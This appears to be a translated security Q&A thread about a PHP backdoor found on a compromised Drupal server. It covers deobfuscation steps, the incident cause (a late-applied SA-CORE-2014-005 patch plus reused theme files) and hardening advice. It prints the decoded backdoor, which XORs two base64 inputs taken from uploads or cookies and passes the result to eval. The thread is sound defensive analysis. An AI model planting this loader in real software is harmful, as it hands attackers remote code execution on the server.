这些类型的后门是多态的，也就是说它们被设计成每次看起来都不一样——实际上，试图破译它们是浪费时间，因为它们都做同样的事情。

他们接受外部输入并执行它。

它可能会从 cookie 或 post 变量中获取输入，并且可能会尝试设置一些 PHP 选项以防止显示或记录错误，但最终目标始终相同。他们接受外部输入并执行它。

我现在应该怎么办？

您应该继续清理您的服务器，修补漏洞并继续前进。

因为上面没有任何私人或有价值的东西

如果是这种情况，那么我强烈建议您终止实例并启动一个新的干净实例。

我对尽可能多地从这个案例中学习更感兴趣

我怀疑会有什么重要的东西需要学习，或者可以帮助您防止将来发生同样的事情。最好的情况是您最终会看到一些通用代码来发送伟哥垃圾邮件，最坏的情况是您最终会托管类似网络钓鱼页面的内容。

除非您可以非常确定他们的代码是隔离的，否则我不会不必要地给他们任何在您的系统上运行代码的机会。如果 AWS 检测到来自您的某个实例的垃圾邮件，至少 AWS 可能会对您的账户施加限制。

TLDR；这不值得。它只会远程执行代码，他们会用它来发送垃圾邮件。尽快用新的实例替换实例。

如果你真的想知道这个特定的代码做了什么，那么去混淆它们的过程总是一样的。

1. 通过代码格式化程序运行代码
2. 查找所有函数调用，例如。你可以看到$amwve = $zgxovk($xeyb, $wbjo);是一个函数调用。
3. 将函数调用行替换echo为每个变量的一个，后跟一个exit();
4. 重复此过程，您可以通过脚本找出每个变量在每个步骤中包含的内容。大多数变量都是多余的，只会让你感到困惑。
5. 最终，您会找到包含实际代码的位，以获取输入并执行它。

始终在隔离环境中执行此操作，我建议使用在线 PHP 解释器。您可能必须删除一些被阻止的函数调用，例如ini_set.

在你的情况下，如果你开始$wbjo并回应它，你会得到这个：

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

如您所见，它采用了两个 base64 编码文件，对它们进行异或运算，然后对结果进行评估。XORing 只是为了让防火墙和 WAF 更难识别上传的文件是恶意的。

TL;博士：

这是一个2014 年 10 月 15 日的 drupal 核心高度严重漏洞，我修补得太晚了，此时我错过了问题的严重性，并且我没有执行适当的检查来评估服务器没有受到损害。黑客从已退役的服务器备份中复制的主题文件传播，而不是从 Drupal 的站点主题部分新下载的。我通过查看数据库、Web 服务器和系统日志、比较数据库和 drupal 备份、阅读 drupal 的核心和扩展安全咨询公告以及分析 RAT 得出了这个结论，这要归功于 texacre 提供的提示。

好吧，我很惭愧地承认这一点，但现在似乎很清楚发生了什么。

由于这种情况通常会发生，它不是 0 天漏洞利用，而是应用得太晚的关键更新：

直到去年 12 月，我一直在运行另一台 Drupal 服务器，用于在野外测试我的项目。

每次登录时，我都会通过每日检查保持最新状态，但在 11 月左右，我工作太忙，错过了一个非常重要的更新：https ://www.drupal.org/SA-CORE-2014-005

宣布后仅 7 小时，Drupal 团队就警告用户已经存在特权升级漏洞，允许接管任何运行 Drupal 7 或 8 的未修补服务器。

不知何故，我没有收到这个警告，11 天后，我看到了典型的消息“有可用的更新”，并且在没有阅读更新内容的情况下进行了更新。由于我已经被黑了，我没有看到任何巨大的警告信号告诉我这个更新有多重要，这可能不是巧合（或者更新服务没有提供足够好的机制来告诉你当你正在更新可能已经被入侵的系统...）

无论如何，我什至没有再考虑它，因为几周后我决定升级我的 EC2 计划，备份这个实例并将其永久关闭以用新的替换它。

现在快进到两个月前，当我设置这个新服务器时：

我重新开始（新的drupal核心和所有东西），但从旧的主题文件中删除，而不是费心再次下载主题。我在这台服务器上执行的第一次例行审计放弃了找出导致我首先发布这个问题的 RAT 代码的线索。

这就是我如何设置并运行一个被黑客入侵的 Drupal 服务器两个月来取悦一些垃圾邮件发送者的故事（从日志看来，这似乎是攻击的主要目的，尽管由于 AWS 安全组没有发送垃圾邮件我一直为我运行的实例设置的策略阻止了它）。

因此，让这提醒任何人，他们应该找到并订阅他们的 CMS/框架/发行版或他们在服务器上使用的任何其他技术的安全公告公告，特别是公共访问技术。

（顺便说一句，我就是这样，尽管由于还有 30 多个 RSS 提要，我完全错过了这个建议，直到为时已晚）

所以我想我的教训是：

• 仅登录并检查更新是不够的：必须将 CMS 配置为在出现关键邮件时向您的主帐户发送电子邮件（我为此设置了辅助帐户并且没有将过滤器设置为自动将这些消息转发到我的主帐户，这将花费 5 分钟额外的时间，并且可以让我摆脱所有这些麻烦）
• 通过我的 RSS 提要更有条理并加快我的更新。
• 在宣布严重漏洞后始终检查入侵
• 在修补之前，如果漏洞利用在野外，总是假设系统受到损害
• 新鲜意味着新鲜：不要从旧实例备份中删除主题文件并称之为新鲜！

我之前在我的一个客户端的服务器上看到过类似的攻击。

攻击者发现了一些允许上传某些文件的漏洞。其他人提到了一些潜在的漏洞。

根据您的描述，攻击者能够使用 webserver 用户写入您的 web 根目录。如果您的服务器配置正确，则不应出现这种情况。为了保护您免受进一步的攻击，您需要更改服务器设置。

根据我的经验，Apache 服务器只能在 web 根目录中写入：

• 当您将根目录中的权限显式设置为 0777 或
• 当您使用与编写 PHP 文件相同的用户运行网络服务器时（例如，网络目录的所有者与正在运行的网络服务器的用户是同一用户）。

为了防止类似的攻击，我建议您为网络服务器和上传 Drupal 文件的用户使用单独的用户。通常，您使用用户 www-data 运行 Apache 服务器，并创建至少一个单独的用户来上传文件。我还建议将web目录中的权限设置为0755。

某些目录需要写入权限才能上传文件。但是，在这些目录中，您应该添加 .htaccess 文件，以防止执行任何上传的文件。这样，即使是攻击者也能够上传他/她无法执行的文件。

.htaccess 可能是这样的：

Order deny,allow
Deny from all
<Files ~ "\.(gif|jpg|png)$">
   order allow,deny
   allow from all
</Files>

此 .htaccess 仅允许通过浏览器为当前目录加载 gif、jpg 和 png。